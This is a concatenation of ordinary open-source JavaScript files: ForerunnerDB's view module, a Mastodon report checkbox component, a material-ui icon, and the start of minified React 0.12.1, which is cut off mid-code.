diff = self._privateData.diff(self._from.subset(self._querySettings.query, self._querySettings.options));
if (diff.insert.length || diff.remove.length) {
// Now send out new chain packets for each operation
if (diff.insert.length) {
this.chainSend('insert', diff.insert);
}
if (diff.update.length) {
pk = self._privateData.primaryKey();
for (i = 0; i < diff.update.length; i++) {
query = {};
query[pk] = diff.update[i][pk];
this.chainSend('update', {
query: query,
update: diff.update[i]
});
}
}
if (diff.remove.length) {
pk = self._privateData.primaryKey();
var $or = [],
removeQuery = {
query: {
$or: $or
}
};
for (i = 0; i < diff.remove.length; i++) {
$or.push({_id: diff.remove[i][pk]});
}
this.chainSend('remove', removeQuery);
}
// Return true to stop further propagation of the chain packet
return true;
} else {
// Returning false informs the chain reactor to continue propagation
// of the chain packet down the graph tree
return false;
}
}
}
// Returning false informs the chain reactor to continue propagation
// of the chain packet down the graph tree
return false;
});
var collData = collection.find(this._querySettings.query, this._querySettings.options);
this._transformPrimaryKey(collection.primaryKey());
this._transformSetData(collData);
this._privateData.primaryKey(collection.primaryKey());
this._privateData.setData(collData);
if (this._querySettings.options && this._querySettings.options.$orderBy) {
this.rebuildActiveBucket(this._querySettings.options.$orderBy);
} else {
this.rebuildActiveBucket();
}
}
return this;
};
/**
* Handles when an underlying collection the view is using as a data
* source is dropped.
* @param {Collection} collection The collection that has been dropped.
* @private
*/
View.prototype._collectionDropped = function (collection) {
if (collection) {
// Collection was dropped, remove from view
delete this._from;
}
};
/**
* Creates an index on the view.
* @see Collection::ensureIndex()
* @returns {*}
*/
View.prototype.ensureIndex = function () {
return this._privateData.ensureIndex.apply(this._privateData, arguments);
};
/**
* The chain reaction handler method for the view.
* @param {Object} chainPacket The chain reaction packet to handle.
* @private
*/
View.prototype._chainHandler = function (chainPacket) {
var //self = this,
arr,
count,
index,
insertIndex,
//tempData,
//dataIsArray,
updates,
//finalUpdates,
primaryKey,
tQuery,
item,
currentIndex,
i;
switch (chainPacket.type) {
case 'setData':
if (this.debug()) {
console.log('ForerunnerDB.View: Setting data on view "' + this.name() + '" in underlying (internal) view collection "' + this._privateData.name() + '"');
}
// Get the new data from our underlying data source sorted as we want
var collData = this._from.find(this._querySettings.query, this._querySettings.options);
// Modify transform data
this._transformSetData(collData);
this._privateData.setData(collData);
break;
case 'insert':
if (this.debug()) {
console.log('ForerunnerDB.View: Inserting some data on view "' + this.name() + '" in underlying (internal) view collection "' + this._privateData.name() + '"');
}
// Decouple the data to ensure we are working with our own copy
chainPacket.data = this.decouple(chainPacket.data);
// Make sure we are working with an array
if (!(chainPacket.data instanceof Array)) {
chainPacket.data = [chainPacket.data];
}
if (this._querySettings.options && this._querySettings.options.$orderBy) {
// Loop the insert data and find each item's index
arr = chainPacket.data;
count = arr.length;
for (index = 0; index < count; index++) {
insertIndex = this._activeBucket.insert(arr[index]);
// Modify transform data
this._transformInsert(chainPacket.data, insertIndex);
this._privateData._insertHandle(chainPacket.data, insertIndex);
}
} else {
// Set the insert index to the passed index, or if none, the end of the view data array
insertIndex = this._privateData._data.length;
// Modify transform data
this._transformInsert(chainPacket.data, insertIndex);
this._privateData._insertHandle(chainPacket.data, insertIndex);
}
break;
case 'update':
if (this.debug()) {
console.log('ForerunnerDB.View: Updating some data on view "' + this.name() + '" in underlying (internal) view collection "' + this._privateData.name() + '"');
}
primaryKey = this._privateData.primaryKey();
// Do the update
updates = this._privateData.update(
chainPacket.data.query,
chainPacket.data.update,
chainPacket.data.options
);
if (this._querySettings.options && this._querySettings.options.$orderBy) {
// TODO: This would be a good place to improve performance by somehow
// TODO: inspecting the change that occurred when update was performed
// TODO: above and determining if it affected the order clause keys
// TODO: and if not, skipping the active bucket updates here
// Loop the updated items and work out their new sort locations
count = updates.length;
for (index = 0; index < count; index++) {
item = updates[index];
// Remove the item from the active bucket (via it's id)
this._activeBucket.remove(item);
// Get the current location of the item
currentIndex = this._privateData._data.indexOf(item);
// Add the item back in to the active bucket
insertIndex = this._activeBucket.insert(item);
if (currentIndex !== insertIndex) {
// Move the updated item to the new index
this._privateData._updateSpliceMove(this._privateData._data, currentIndex, insertIndex);
}
}
}
if (this._transformEnabled && this._transformIn) {
primaryKey = this._publicData.primaryKey();
for (i = 0; i < updates.length; i++) {
tQuery = {};
item = updates[i];
tQuery[primaryKey] = item[primaryKey];
this._transformUpdate(tQuery, item);
}
}
break;
case 'remove':
if (this.debug()) {
console.log('ForerunnerDB.View: Removing some data on view "' + this.name() + '" in underlying (internal) view collection "' + this._privateData.name() + '"');
}
// Modify transform data
this._transformRemove(chainPacket.data.query, chainPacket.options);
this._privateData.remove(chainPacket.data.query, chainPacket.options);
break;
default:
break;
}
};
/**
* Listens for an event.
* @see Mixin.Events::on()
*/
View.prototype.on = function () {
return this._privateData.on.apply(this._privateData, arguments);
};
/**
* Cancels an event listener.
* @see Mixin.Events::off()
*/
View.prototype.off = function () {
return this._privateData.off.apply(this._privateData, arguments);
};
/**
* Emits an event.
* @see Mixin.Events::emit()
*/
View.prototype.emit = function () {
return this._privateData.emit.apply(this._privateData, arguments);
};
/**
* Find the distinct values for a specified field across a single collection and
* returns the results in an array.
* @param {String} key The field path to return distinct values for e.g. "person.name".
* @param {Object=} query The query to use to filter the documents used to return values from.
* @param {Object=} options The query options to use when running the query.
* @returns {Array}
*/
View.prototype.distinct = function (key, query, options) {
return this._privateData.distinct.apply(this._privateData, arguments);
};
/**
* Gets the primary key for this view from the assigned collection.
* @see Collection::primaryKey()
* @returns {String}
*/
View.prototype.primaryKey = function () {
return this._privateData.primaryKey();
};
/**
* Drops a view and all it's stored data from the database.
* @returns {boolean} True on success, false on failure.
*/
View.prototype.drop = function () {
if (this._state !== 'dropped') {
if (this._from) {
this._from.off('drop', this._collectionDroppedWrap);
this._from._removeView(this);
if (this.debug() || (this._db && this._db.debug())) {
console.log('ForerunnerDB.View: Dropping view ' + this._name);
}
this._state = 'dropped';
// Clear io and chains
if (this._io) {
this._io.drop();
}
// Drop the view's internal collection
if (this._privateData) {
this._privateData.drop();
}
if (this._db && this._name) {
delete this._db._view[this._name];
}
this.emit('drop', this);
delete this._chain;
delete this._from;
delete this._privateData;
delete this._io;
delete this._listeners;
delete this._querySettings;
delete this._db;
return true;
}
} else {
return true;
}
return false;
};
/**
* Gets / sets the DB the view is bound against. Automatically set
* when the db.oldView(viewName) method is called.
* @param db
* @returns {*}
*/
View.prototype.db = function (db) {
if (db !== undefined) {
this._db = db;
this.privateData().db(db);
this.publicData().db(db);
return this;
}
return this._db;
};
/**
* Gets / sets the query object and query options that the view uses
* to build it's data set. This call modifies both the query and
* query options at the same time.
* @param {Object=} query The query to set.
* @param {Boolean=} options The query options object.
* @param {Boolean=} refresh Whether to refresh the view data after
* this operation. Defaults to true.
* @returns {*}
*/
View.prototype.queryData = function (query, options, refresh) {
if (query !== undefined) {
this._querySettings.query = query;
}
if (options !== undefined) {
this._querySettings.options = options;
}
if (query !== undefined || options !== undefined) {
if (refresh === undefined || refresh === true) {
this.refresh();
}
return this;
}
return this._querySettings;
};
/**
* Add data to the existing query.
* @param {Object} obj The data whose keys will be added to the existing
* query object.
* @param {Boolean} overwrite Whether or not to overwrite data that already
* exists in the query object. Defaults to true.
* @param {Boolean=} refresh Whether or not to refresh the view data set
* once the operation is complete. Defaults to true.
*/
View.prototype.queryAdd = function (obj, overwrite, refresh) {
this._querySettings.query = this._querySettings.query || {};
var query = this._querySettings.query,
i;
if (obj !== undefined) {
// Loop object properties and add to existing query
for (i in obj) {
if (obj.hasOwnProperty(i)) {
if (query[i] === undefined || (query[i] !== undefined && overwrite !== false)) {
query[i] = obj[i];
}
}
}
}
if (refresh === undefined || refresh === true) {
this.refresh();
}
};
/**
* Remove data from the existing query.
* @param {Object} obj The data whose keys will be removed from the existing
* query object.
* @param {Boolean=} refresh Whether or not to refresh the view data set
* once the operation is complete. Defaults to true.
*/
View.prototype.queryRemove = function (obj, refresh) {
var query = this._querySettings.query,
i;
if (query) {
if (obj !== undefined) {
// Loop object properties and add to existing query
for (i in obj) {
if (obj.hasOwnProperty(i)) {
delete query[i];
}
}
}
if (refresh === undefined || refresh === true) {
this.refresh();
}
}
};
/**
* Gets / sets the query being used to generate the view data. It
* does not change or modify the view's query options.
* @param {Object=} query The query to set.
* @param {Boolean=} refresh Whether to refresh the view data after
* this operation. Defaults to true.
* @returns {*}
*/
View.prototype.query = function (query, refresh) {
if (query !== undefined) {
this._querySettings.query = query;
if (refresh === undefined || refresh === true) {
this.refresh();
}
return this;
}
return this._querySettings.query;
};
/**
* Gets / sets the orderBy clause in the query options for the view.
* @param {Object=} val The order object.
* @returns {*}
*/
View.prototype.orderBy = function (val) {
if (val !== undefined) {
var queryOptions = this.queryOptions() || {};
queryOptions.$orderBy = val;
this.queryOptions(queryOptions);
return this;
}
return (this.queryOptions() || {}).$orderBy;
};
/**
* Gets / sets the page clause in the query options for the view.
* @param {Number=} val The page number to change to (zero index).
* @returns {*}
*/
View.prototype.page = function (val) {
if (val !== undefined) {
var queryOptions = this.queryOptions() || {};
// Only execute a query options update if page has changed
if (val !== queryOptions.$page) {
queryOptions.$page = val;
this.queryOptions(queryOptions);
}
return this;
}
return (this.queryOptions() || {}).$page;
};
/**
* Jump to the first page in the data set.
* @returns {*}
*/
View.prototype.pageFirst = function () {
return this.page(0);
};
/**
* Jump to the last page in the data set.
* @returns {*}
*/
View.prototype.pageLast = function () {
var pages = this.cursor().pages,
lastPage = pages !== undefined ? pages : 0;
return this.page(lastPage - 1);
};
/**
* Move forward or backwards in the data set pages by passing a positive
* or negative integer of the number of pages to move.
* @param {Number} val The number of pages to move.
* @returns {*}
*/
View.prototype.pageScan = function (val) {
if (val !== undefined) {
var pages = this.cursor().pages,
queryOptions = this.queryOptions() || {},
currentPage = queryOptions.$page !== undefined ? queryOptions.$page : 0;
currentPage += val;
if (currentPage < 0) {
currentPage = 0;
}
if (currentPage >= pages) {
currentPage = pages - 1;
}
return this.page(currentPage);
}
};
/**
* Gets / sets the query options used when applying sorting etc to the
* view data set.
* @param {Object=} options An options object.
* @param {Boolean=} refresh Whether to refresh the view data after
* this operation. Defaults to true.
* @returns {*}
*/
View.prototype.queryOptions = function (options, refresh) {
if (options !== undefined) {
this._querySettings.options = options;
if (options.$decouple === undefined) { options.$decouple = true; }
if (refresh === undefined || refresh === true) {
this.refresh();
} else {
this.rebuildActiveBucket(options.$orderBy);
}
return this;
}
return this._querySettings.options;
};
View.prototype.rebuildActiveBucket = function (orderBy) {
if (orderBy) {
var arr = this._privateData._data,
arrCount = arr.length;
// Build a new active bucket
this._activeBucket = new ActiveBucket(orderBy);
this._activeBucket.primaryKey(this._privateData.primaryKey());
// Loop the current view data and add each item
for (var i = 0; i < arrCount; i++) {
this._activeBucket.insert(arr[i]);
}
} else {
// Remove any existing active bucket
delete this._activeBucket;
}
};
/**
* Refreshes the view data such as ordering etc.
*/
View.prototype.refresh = function () {
if (this._from) {
var pubData = this.publicData(),
refreshResults;
// Re-grab all the data for the view from the collection
this._privateData.remove();
pubData.remove();
refreshResults = this._from.find(this._querySettings.query, this._querySettings.options);
this.cursor(refreshResults.$cursor);
this._privateData.insert(refreshResults);
this._privateData._data.$cursor = refreshResults.$cursor;
pubData._data.$cursor = refreshResults.$cursor;
/*if (pubData._linked) {
// Update data and observers
//var transformedData = this._privateData.find();
// TODO: Shouldn't this data get passed into a transformIn first?
// TODO: This breaks linking because its passing decoupled data and overwriting non-decoupled data
// TODO: Is this even required anymore? After commenting it all seems to work
// TODO: Might be worth setting up a test to check transforms and linking then remove this if working?
//jQuery.observable(pubData._data).refresh(transformedData);
}*/
}
if (this._querySettings.options && this._querySettings.options.$orderBy) {
this.rebuildActiveBucket(this._querySettings.options.$orderBy);
} else {
this.rebuildActiveBucket();
}
return this;
};
/**
* Returns the number of documents currently in the view.
* @returns {Number}
*/
View.prototype.count = function () {
return this._privateData && this._privateData._data ? this._privateData._data.length : 0;
};
// Call underlying
View.prototype.subset = function () {
return this.publicData().subset.apply(this._privateData, arguments);
};
/**
* Takes the passed data and uses it to set transform methods and globally
* enable or disable the transform system for the view.
* @param {Object} obj The new transform system settings "enabled", "dataIn" and "dataOut":
* {
* "enabled": true,
* "dataIn": function (data) { return data; },
* "dataOut": function (data) { return data; }
* }
* @returns {*}
*/
View.prototype.transform = function (obj) {
if (obj !== undefined) {
if (typeof obj === "object") {
if (obj.enabled !== undefined) {
this._transformEnabled = obj.enabled;
}
if (obj.dataIn !== undefined) {
this._transformIn = obj.dataIn;
}
if (obj.dataOut !== undefined) {
this._transformOut = obj.dataOut;
}
} else {
this._transformEnabled = obj !== false;
}
// Update the transformed data object
this._transformPrimaryKey(this.privateData().primaryKey());
this._transformSetData(this.privateData().find());
return this;
}
return {
enabled: this._transformEnabled,
dataIn: this._transformIn,
dataOut: this._transformOut
};
};
/**
* Executes a method against each document that matches query and returns an
* array of documents that may have been modified by the method.
* @param {Object} query The query object.
* @param {Function} func The method that each document is passed to. If this method
* returns false for a particular document it is excluded from the results.
* @param {Object=} options Optional options object.
* @returns {Array}
*/
View.prototype.filter = function (query, func, options) {
return (this.publicData()).filter(query, func, options);
};
/**
* Returns the non-transformed data the view holds as a collection
* reference.
* @return {Collection} The non-transformed collection reference.
*/
View.prototype.privateData = function () {
return this._privateData;
};
/**
* Returns a data object representing the public data this view
* contains. This can change depending on if transforms are being
* applied to the view or not.
*
* If no transforms are applied then the public data will be the
* same as the private data the view holds. If transforms are
* applied then the public data will contain the transformed version
* of the private data.
*
* The public data collection is also used by data binding to only
* changes to the publicData will show in a data-bound element.
*/
View.prototype.publicData = function () {
if (this._transformEnabled) {
return this._publicData;
} else {
return this._privateData;
}
};
/**
* Updates the public data object to match data from the private data object
* by running private data through the dataIn method provided in
* the transform() call.
* @private
*/
View.prototype._transformSetData = function (data) {
if (this._transformEnabled) {
// Clear existing data
this._publicData = new Collection('__FDB__view_publicData_' + this._name);
this._publicData.db(this._privateData._db);
this._publicData.transform({
enabled: true,
dataIn: this._transformIn,
dataOut: this._transformOut
});
this._publicData.setData(data);
}
};
View.prototype._transformInsert = function (data, index) {
if (this._transformEnabled && this._publicData) {
this._publicData.insert(data, index);
}
};
View.prototype._transformUpdate = function (query, update, options) {
if (this._transformEnabled && this._publicData) {
this._publicData.update(query, update, options);
}
};
View.prototype._transformRemove = function (query, options) {
if (this._transformEnabled && this._publicData) {
this._publicData.remove(query, options);
}
};
View.prototype._transformPrimaryKey = function (key) {
if (this._transformEnabled && this._publicData) {
this._publicData.primaryKey(key);
}
};
// Extend collection with view init
Collection.prototype.init = function () {
this._view = [];
CollectionInit.apply(this, arguments);
};
/**
* Creates a view and assigns the collection as its data source.
* @param {String} name The name of the new view.
* @param {Object} query The query to apply to the new view.
* @param {Object} options The options object to apply to the view.
* @returns {*}
*/
Collection.prototype.view = function (name, query, options) {
if (this._db && this._db._view ) {
if (!this._db._view[name]) {
var view = new View(name, query, options)
.db(this._db)
.from(this);
this._view = this._view || [];
this._view.push(view);
return view;
} else {
throw('ForerunnerDB.Collection "' + this.name() + '": Cannot create a view using this collection because a view with this name already exists: ' + name);
}
}
};
/**
* Adds a view to the internal view lookup.
* @param {View} view The view to add.
* @returns {Collection}
* @private
*/
Collection.prototype._addView = CollectionGroup.prototype._addView = function (view) {
if (view !== undefined) {
this._view.push(view);
}
return this;
};
/**
* Removes a view from the internal view lookup.
* @param {View} view The view to remove.
* @returns {Collection}
* @private
*/
Collection.prototype._removeView = CollectionGroup.prototype._removeView = function (view) {
if (view !== undefined) {
var index = this._view.indexOf(view);
if (index > -1) {
this._view.splice(index, 1);
}
}
return this;
};
// Extend DB with views init
Db.prototype.init = function () {
this._view = {};
DbInit.apply(this, arguments);
};
/**
* Gets a view by it's name.
* @param {String} viewName The name of the view to retrieve.
* @returns {*}
*/
Db.prototype.view = function (viewName) {
if (!this._view[viewName]) {
if (this.debug() || (this._db && this._db.debug())) {
console.log('Db.View: Creating view ' + viewName);
}
}
this._view[viewName] = this._view[viewName] || new View(viewName).db(this);
return this._view[viewName];
};
/**
* Determine if a view with the passed name already exists.
* @param {String} viewName The name of the view to check for.
* @returns {boolean}
*/
Db.prototype.viewExists = function (viewName) {
return Boolean(this._view[viewName]);
};
/**
* Returns an array of views the DB currently has.
* @returns {Array} An array of objects containing details of each view
* the database is currently managing.
*/
Db.prototype.views = function () {
var arr = [],
i;
for (i in this._view) {
if (this._view.hasOwnProperty(i)) {
arr.push({
name: i,
count: this._view[i].count()
});
}
}
return arr;
};
Shared.finishModule('View');
module.exports = View;
},{"./ActiveBucket":2,"./Collection":3,"./CollectionGroup":4,"./ReactorIO":24,"./Shared":25}]},{},[1]);
|
app/javascript/mastodon/features/report/components/status_check_box.js
|
8796n/mastodon
|
import React from 'react';
import PropTypes from 'prop-types';
import ImmutablePropTypes from 'react-immutable-proptypes';
import emojify from '../../../emoji';
import Toggle from 'react-toggle';
class StatusCheckBox extends React.PureComponent {
static propTypes = {
status: ImmutablePropTypes.map.isRequired,
checked: PropTypes.bool,
onToggle: PropTypes.func.isRequired,
disabled: PropTypes.bool
};
render () {
const { status, checked, onToggle, disabled } = this.props;
const content = { __html: emojify(status.get('content')) };
if (status.get('reblog')) {
return null;
}
return (
<div className='status-check-box'>
<div
className='status__content'
dangerouslySetInnerHTML={content}
/>
<div className='status-check-box-toggle'>
<Toggle checked={checked} onChange={onToggle} disabled={disabled} />
</div>
</div>
);
}
}
export default StatusCheckBox;
|
packages/material-ui-icons/src/Textsms.js
|
Kagami/material-ui
|
import React from 'react';
import createSvgIcon from './utils/createSvgIcon';
export default createSvgIcon(
<React.Fragment><path d="M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zM9 11H7V9h2v2zm4 0h-2V9h2v2zm4 0h-2V9h2v2z" /><path fill="none" d="M0 0h24v24H0z" /></React.Fragment>
, 'Textsms');
|
ajax/libs/react/0.12.1/react-with-addons.min.js
|
jamesarosen/cdnjs
|
/**
* React (with addons) v0.12.1
*
* Copyright 2013-2014, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
*/
!function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{var t;"undefined"!=typeof window?t=window:"undefined"!=typeof global?t=global:"undefined"!=typeof self&&(t=self),t.React=e()}}(function(){return function e(t,n,r){function o(a,s){if(!n[a]){if(!t[a]){var u="function"==typeof require&&require;if(!s&&u)return u(a,!0);if(i)return i(a,!0);var c=new Error("Cannot find module '"+a+"'");throw c.code="MODULE_NOT_FOUND",c}var l=n[a]={exports:{}};t[a][0].call(l.exports,function(e){var n=t[a][1][e];return o(n?n:e)},l,l.exports,e,t,n,r)}return n[a].exports}for(var i="function"==typeof require&&require,a=0;a<r.length;a++)o(r[a]);return o}({1:[function(e,t){"use strict";var n=e("./LinkedStateMixin"),r=e("./React"),o=e("./ReactComponentWithPureRenderMixin"),i=e("./ReactCSSTransitionGroup"),a=e("./ReactTransitionGroup"),s=e("./ReactUpdates"),u=e("./cx"),c=e("./cloneWithProps"),l=e("./update");r.addons={CSSTransitionGroup:i,LinkedStateMixin:n,PureRenderMixin:o,TransitionGroup:a,batchedUpdates:s.batchedUpdates,classSet:u,cloneWithProps:c,update:l},t.exports=r},{"./LinkedStateMixin":25,"./React":31,"./ReactCSSTransitionGroup":34,"./ReactComponentWithPureRenderMixin":39,"./ReactTransitionGroup":87,"./ReactUpdates":88,"./cloneWithProps":110,"./cx":115,"./update":154}],2:[function(e,t){"use strict";var n=e("./focusNode"),r={componentDidMount:function(){this.props.autoFocus&&n(this.getDOMNode())}};t.exports=r},{"./focusNode":122}],3:[function(e,t){"use strict";function n(){var e=window.opera;return"object"==typeof e&&"function"==typeof e.version&&parseInt(e.version(),10)<=12}function r(e){return(e.ctrlKey||e.altKey||e.metaKey)&&!(e.ctrlKey&&e.altKey)}var o=e("./EventConstants"),i=e("./EventPropagators"),a=e("./ExecutionEnvironment"),s=e("./SyntheticInputEvent"),u=e("./keyOf"),c=a.canUseDOM&&"TextEvent"in window&&!("documentMode"in document||n()),l=32,p=String.fromCharCode(l),d=o.topLevelTypes,f={beforeInput:{phasedRegistrationNames:{bubbled:u({onBeforeInput:null}),captured:u({onBeforeInputCapture:null})},dependencies:[d.topCompositionEnd,d.topKeyPress,d.topTextInput,d.topPaste]}},h=null,m=!1,v={eventTypes:f,extractEvents:function(e,t,n,o){var a;if(c)switch(e){case d.topKeyPress:var u=o.which;if(u!==l)return;m=!0,a=p;break;case d.topTextInput:if(a=o.data,a===p&&m)return;break;default:return}else{switch(e){case d.topPaste:h=null;break;case d.topKeyPress:o.which&&!r(o)&&(h=String.fromCharCode(o.which));break;case d.topCompositionEnd:h=o.data}if(null===h)return;a=h}if(a){var v=s.getPooled(f.beforeInput,n,o);return v.data=a,h=null,i.accumulateTwoPhaseDispatches(v),v}}};t.exports=v},{"./EventConstants":17,"./EventPropagators":22,"./ExecutionEnvironment":23,"./SyntheticInputEvent":98,"./keyOf":144}],4:[function(e,t){var n=e("./invariant"),r={addClass:function(e,t){return n(!/\s/.test(t)),t&&(e.classList?e.classList.add(t):r.hasClass(e,t)||(e.className=e.className+" "+t)),e},removeClass:function(e,t){return n(!/\s/.test(t)),t&&(e.classList?e.classList.remove(t):r.hasClass(e,t)&&(e.className=e.className.replace(new RegExp("(^|\\s)"+t+"(?:\\s|$)","g"),"$1").replace(/\s+/g," ").replace(/^\s*|\s*$/g,""))),e},conditionClass:function(e,t,n){return(n?r.addClass:r.removeClass)(e,t)},hasClass:function(e,t){return n(!/\s/.test(t)),e.classList?!!t&&e.classList.contains(t):(" "+e.className+" ").indexOf(" "+t+" ")>-1}};t.exports=r},{"./invariant":137}],5:[function(e,t){"use strict";function n(e,t){return e+t.charAt(0).toUpperCase()+t.substring(1)}var r={columnCount:!0,fillOpacity:!0,flex:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},o=["Webkit","ms","Moz","O"];Object.keys(r).forEach(function(e){o.forEach(function(t){r[n(t,e)]=r[e]})});var i={background:{backgroundImage:!0,backgroundPosition:!0,backgroundRepeat:!0,backgroundColor:!0},border:{borderWidth:!0,borderStyle:!0,borderColor:!0},borderBottom:{borderBottomWidth:!0,borderBottomStyle:!0,borderBottomColor:!0},borderLeft:{borderLeftWidth:!0,borderLeftStyle:!0,borderLeftColor:!0},borderRight:{borderRightWidth:!0,borderRightStyle:!0,borderRightColor:!0},borderTop:{borderTopWidth:!0,borderTopStyle:!0,borderTopColor:!0},font:{fontStyle:!0,fontVariant:!0,fontWeight:!0,fontSize:!0,lineHeight:!0,fontFamily:!0}},a={isUnitlessNumber:r,shorthandPropertyExpansions:i};t.exports=a},{}],6:[function(e,t){"use strict";var n=e("./CSSProperty"),r=e("./ExecutionEnvironment"),o=(e("./camelizeStyleName"),e("./dangerousStyleValue")),i=e("./hyphenateStyleName"),a=e("./memoizeStringOnly"),s=(e("./warning"),a(function(e){return i(e)})),u="cssFloat";r.canUseDOM&&void 0===document.documentElement.style.cssFloat&&(u="styleFloat");var c={createMarkupForStyles:function(e){var t="";for(var n in e)if(e.hasOwnProperty(n)){var r=e[n];null!=r&&(t+=s(n)+":",t+=o(n,r)+";")}return t||null},setValueForStyles:function(e,t){var r=e.style;for(var i in t)if(t.hasOwnProperty(i)){var a=o(i,t[i]);if("float"===i&&(i=u),a)r[i]=a;else{var s=n.shorthandPropertyExpansions[i];if(s)for(var c in s)r[c]="";else r[i]=""}}}};t.exports=c},{"./CSSProperty":5,"./ExecutionEnvironment":23,"./camelizeStyleName":109,"./dangerousStyleValue":116,"./hyphenateStyleName":135,"./memoizeStringOnly":146,"./warning":155}],7:[function(e,t){"use strict";function n(){this._callbacks=null,this._contexts=null}var r=e("./PooledClass"),o=e("./Object.assign"),i=e("./invariant");o(n.prototype,{enqueue:function(e,t){this._callbacks=this._callbacks||[],this._contexts=this._contexts||[],this._callbacks.push(e),this._contexts.push(t)},notifyAll:function(){var e=this._callbacks,t=this._contexts;if(e){i(e.length===t.length),this._callbacks=null,this._contexts=null;for(var n=0,r=e.length;r>n;n++)e[n].call(t[n]);e.length=0,t.length=0}},reset:function(){this._callbacks=null,this._contexts=null},destructor:function(){this.reset()}}),r.addPoolingTo(n),t.exports=n},{"./Object.assign":29,"./PooledClass":30,"./invariant":137}],8:[function(e,t){"use strict";function n(e){return"SELECT"===e.nodeName||"INPUT"===e.nodeName&&"file"===e.type}function r(e){var t=M.getPooled(P.change,w,e);E.accumulateTwoPhaseDispatches(t),R.batchedUpdates(o,t)}function o(e){g.enqueueEvents(e),g.processEventQueue()}function i(e,t){T=e,w=t,T.attachEvent("onchange",r)}function a(){T&&(T.detachEvent("onchange",r),T=null,w=null)}function s(e,t,n){return e===x.topChange?n:void 0}function u(e,t,n){e===x.topFocus?(a(),i(t,n)):e===x.topBlur&&a()}function c(e,t){T=e,w=t,_=e.value,S=Object.getOwnPropertyDescriptor(e.constructor.prototype,"value"),Object.defineProperty(T,"value",k),T.attachEvent("onpropertychange",p)}function l(){T&&(delete T.value,T.detachEvent("onpropertychange",p),T=null,w=null,_=null,S=null)}function p(e){if("value"===e.propertyName){var t=e.srcElement.value;t!==_&&(_=t,r(e))}}function d(e,t,n){return e===x.topInput?n:void 0}function f(e,t,n){e===x.topFocus?(l(),c(t,n)):e===x.topBlur&&l()}function h(e){return e!==x.topSelectionChange&&e!==x.topKeyUp&&e!==x.topKeyDown||!T||T.value===_?void 0:(_=T.value,w)}function m(e){return"INPUT"===e.nodeName&&("checkbox"===e.type||"radio"===e.type)}function v(e,t,n){return e===x.topClick?n:void 0}var y=e("./EventConstants"),g=e("./EventPluginHub"),E=e("./EventPropagators"),C=e("./ExecutionEnvironment"),R=e("./ReactUpdates"),M=e("./SyntheticEvent"),b=e("./isEventSupported"),O=e("./isTextInputElement"),D=e("./keyOf"),x=y.topLevelTypes,P={change:{phasedRegistrationNames:{bubbled:D({onChange:null}),captured:D({onChangeCapture:null})},dependencies:[x.topBlur,x.topChange,x.topClick,x.topFocus,x.topInput,x.topKeyDown,x.topKeyUp,x.topSelectionChange]}},T=null,w=null,_=null,S=null,N=!1;C.canUseDOM&&(N=b("change")&&(!("documentMode"in document)||document.documentMode>8));var I=!1;C.canUseDOM&&(I=b("input")&&(!("documentMode"in document)||document.documentMode>9));var k={get:function(){return S.get.call(this)},set:function(e){_=""+e,S.set.call(this,e)}},A={eventTypes:P,extractEvents:function(e,t,r,o){var i,a;if(n(t)?N?i=s:a=u:O(t)?I?i=d:(i=h,a=f):m(t)&&(i=v),i){var c=i(e,t,r);if(c){var l=M.getPooled(P.change,c,o);return E.accumulateTwoPhaseDispatches(l),l}}a&&a(e,t,r)}};t.exports=A},{"./EventConstants":17,"./EventPluginHub":19,"./EventPropagators":22,"./ExecutionEnvironment":23,"./ReactUpdates":88,"./SyntheticEvent":96,"./isEventSupported":138,"./isTextInputElement":140,"./keyOf":144}],9:[function(e,t){"use strict";var n=0,r={createReactRootIndex:function(){return n++}};t.exports=r},{}],10:[function(e,t){"use strict";function n(e){switch(e){case y.topCompositionStart:return E.compositionStart;case y.topCompositionEnd:return E.compositionEnd;case y.topCompositionUpdate:return E.compositionUpdate}}function r(e,t){return e===y.topKeyDown&&t.keyCode===h}function o(e,t){switch(e){case y.topKeyUp:return-1!==f.indexOf(t.keyCode);case y.topKeyDown:return t.keyCode!==h;case y.topKeyPress:case y.topMouseDown:case y.topBlur:return!0;default:return!1}}function i(e){this.root=e,this.startSelection=c.getSelection(e),this.startValue=this.getText()}var a=e("./EventConstants"),s=e("./EventPropagators"),u=e("./ExecutionEnvironment"),c=e("./ReactInputSelection"),l=e("./SyntheticCompositionEvent"),p=e("./getTextContentAccessor"),d=e("./keyOf"),f=[9,13,27,32],h=229,m=u.canUseDOM&&"CompositionEvent"in window,v=!m||"documentMode"in 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e.substr(t,e.length-n-t)};var C={eventTypes:E,extractEvents:function(e,t,a,u){var c,p;if(m?c=n(e):g?o(e,u)&&(c=E.compositionEnd):r(e,u)&&(c=E.compositionStart),v&&(g||c!==E.compositionStart?c===E.compositionEnd&&g&&(p=g.getData(),g=null):g=new i(t)),c){var d=l.getPooled(c,a,u);return p&&(d.data=p),s.accumulateTwoPhaseDispatches(d),d}}};t.exports=C},{"./EventConstants":17,"./EventPropagators":22,"./ExecutionEnvironment":23,"./ReactInputSelection":63,"./SyntheticCompositionEvent":94,"./getTextContentAccessor":132,"./keyOf":144}],11:[function(e,t){"use strict";function n(e,t,n){e.insertBefore(t,e.childNodes[n]||null)}var r,o=e("./Danger"),i=e("./ReactMultiChildUpdateTypes"),a=e("./getTextContentAccessor"),s=e("./invariant"),u=a();r="textContent"===u?function(e,t){e.textContent=t}:function(e,t){for(;e.firstChild;)e.removeChild(e.firstChild);if(t){var n=e.ownerDocument||document;e.appendChild(n.createTextNode(t))}};var c={dangerouslyReplaceNodeWithMarkup:o.dangerouslyReplaceNodeWithMarkup,updateTextContent:r,processUpdates:function(e,t){for(var a,u=null,c=null,l=0;a=e[l];l++)if(a.type===i.MOVE_EXISTING||a.type===i.REMOVE_NODE){var p=a.fromIndex,d=a.parentNode.childNodes[p],f=a.parentID;s(d),u=u||{},u[f]=u[f]||[],u[f][p]=d,c=c||[],c.push(d)}var h=o.dangerouslyRenderMarkup(t);if(c)for(var m=0;m<c.length;m++)c[m].parentNode.removeChild(c[m]);for(var v=0;a=e[v];v++)switch(a.type){case 